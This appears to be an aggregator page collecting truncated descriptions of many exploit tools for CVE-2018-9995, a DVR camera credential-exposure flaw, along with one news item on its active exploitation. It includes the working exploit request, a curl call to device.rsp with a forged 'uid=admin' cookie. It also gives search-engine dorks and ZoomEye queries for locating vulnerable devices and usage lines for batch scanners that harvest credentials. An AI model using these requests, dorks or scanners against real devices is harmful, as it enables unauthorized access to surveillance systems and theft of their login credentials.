CVE-2018-9995-POC

CVE-2018-9995-POC CVE-2018-9995 POC python CVE-2018-9995Bata.py -proxy 127.0.0.1:9487 -f Importdata.txt -o Outputdata.txt -p 12 -f ※Batch import file Data source format example: 43.255.172.204:9200 192.168.168.5:1234 -o ※Output file -proxy ※Socks5 forwarding proxy -p ※Number of multi-threaded cor...

CVE-2018-9995-ModifiedByGwolfs

statement This tool is an improved version of the CVE-2018-9995 wrote by gwolfs,and is for learning use only。Do not use for illegal purposes，all the consequences resulting from this are your own.The orginal version is wrote by ezelf and is on https://github.com/ezelf/CVE-2018-9995dvrcredentials...

CVE-2018-9995-2

ツール CVE-2018-9995-2 root@kitploit: CVE: CVE-2018-9995 エクスプロイト作者: Fernandez Ezequiel @capitanalfa 修正者: Kien Quoc バージョン: 2.0 Python3 のインストール root@kitploit: apt-get install git pip3 install requests pip3 install colorama sudo apt update apt-get install python3 クイックスタート root@kitploit: git clone...

CVE-2018-9995-ModifiedByGwolfs

state This tools is an improved version of the CVE-2018-9995 wrote by gwolfs,and is for learning use only。Do not use for illegal purposes，all the consequences resulting from this are your own.The orginal version is wrote by ezelf and is on https://github.com/ezelf/CVE-2018-9995dvrcredentials Than...

DVR_Sploit

DVRSploit Simple python3 script to automate CVE-2018-9995 Requirements: requests pip install requests Usage: root@fuckmachine: python3 dvrsploit.py Enter DVR host: 192.168.69.69 Enter DVR port: 88 Device list:...

HTC

攻击CCTV DVR凭据泄露 | CVE-2018-9995 | 安防摄像头泄露用户名用于获取登录权限 如何使用？ root@kitploit: 打开 https://www.zoomeye.org/ 搜索关键词 '/login.rsp' 等待获取IP和端口 $ python3 thecctv.py 更多信息 操作系统| 语言| 联系方式 ---|---|--- Linux Ubuntu| Pythonv3| [email protected] Keyw0rd上传此 3...

HTC

HTC | HackTheCCTV DVRs Credentials Exposed | CVE-2018-9995 | The CCTV Leaked Username For Get Loggin Access Usage root@kitploit: Open https://www.zoomeye.org/ Search With Keywod : /login.rsp $ python3 thecctv.py...

CVE-2018-9995-rs

概要 このリポジトリには、CVE-2018-9995を対象としたRustで実装された概念実証（PoC）エクスプロイトが含まれています。このコードは研究および教育目的のみに使用されます。 CVE詳細 識別子: CVE-2018-9995 概要: 脆弱性を示す概念実証エクスプロイト（技術的な詳細は公開アドバイザリを参照）。 必要条件 Rustツールチェーン（安定版） — rustc と cargo。 Linux または Rust がサポートする任意のプラットフォーム。 使用方法 このリポジトリはPoCです。一般的な使用例： root@kitploit: cargo run -- IP POR...

CVE-2018-9995_Batch_scanning_exp

CVE-2018-9995Batchscanningexp last 2018-8-9 Batch scanning script for DVR based on CVE-2018-9995 vulnerability Original exploit script for CVE-2018-9995 Original code Environmental preparation python3, ubuntu root@kitploit: user@ubuntu:$ sudo pip3 install grequests user@ubuntu:$ sudo pip3 install...

CVE-2018-9995-DVR-Credentials-Extractor

Tool show DVR Credentiales root@kitploit: Original Tool: https://github.com/ezelf/CVE-2018-9995dvrcredentials Exploit Title: "Gets DVR Credentials" CVE: CVE-2018-9995 CVSS Base Score v3: 7.3 / 10 CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Date: 09/04/2018 Exploit Author:...

CVE-2018-9995

This repository does not have a README...

CVE-2018-9995_check

CVE-2018-9995check DVR系列摄像头批量检测 使用方法:python CVE-2018-9995.py host.txt 其中host.txt内容可以为8.8.8.8:8080或者www.baidu.com，脚本运行后对使用了DVR系列摄像头的host会保存到result.txt文件里 漏洞利用工具可访问:https://github.com/ezelf/CVE-2018-9995dvrcredentials 注:请勿非法使用...

DVRFaultNET

DVRFaultNET .NET console application that exploits DVR CVE-2018-9995 vulnerability Usage Once launched, you will be prompted to enter the URL of the DVR camera. The program add ?opt=user&cmd=list to the URL and sends a request containing "Cookie:uid=admin" header then server return a JSON string...

Tool_Exploit_Password_Camera_CVE-2018-9995

ToolExploitPasswordCameraCVE-2018-9995 CVE-2018-9995: https://vulners.com/cve/CVE-2018-9995 1. Search for vulnerable devices on Google with the keyword: intitle:"DVR login". 2. Try to access any device: We see the device requires a Username and Password to access. 3. Check if we can retrieve the...

Exploit for CVE-2018-9995

CVE-2018-9995 Exploit Tool for Python3 This Python script is d...

Hackers Exploiting 5-year-old Unpatched Vulnerability in TBK DVR Devices

Threat actors are actively exploiting an unpatched five-year-old flaw impacting TBK digital video recording DVR devices, according to an advisory issued by Fortinet FortiGuard Labs. The vulnerability in question is CVE-2018-9995 CVSS score: 9.8, a critical authentication bypass issue that could b...

Exploit for CVE-2018-9995

Tool CVE-2018-9995-2 CVE: CVE-2018-9995...

TBKvision Firmware Authentication Bypass (CVE-2018-9995)

An authentication bypass vulnerability exists in TBKvision Firmware. Successful exploitation of this vulnerability would allow remote attackers to gain unauthorized access into the affected system...

DVR-Exploiter - Bash Script Program Exploit The DVR's Based On CVE-2018-9995

DVR-Exploiter Exploit Title: DVR Credentials Exposed Date: 09/04/2018 Exploit Author: Fernandez Ezequiel DVR-Exploiter By: Belahsan Ouerghi Contact: www.facebook.com/ouerghi.belahsan Youtube Tutorial: https://www.youtube.com/watch?v=vdnATjE4II Dorks: intitle:"DVR Login" html:"/login.rsp" "Server:...

TBK DVR Login Bypass(CVE-2018-9995)

En un articulo anterior presente una vuln que me permitía obtener las credenciales de cierto modelo de DVR. Tan simple como: $ curl "http://:/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin" Resulta que el hallazgo no corresponde a un vendor en particular como originalmente supuse. Me...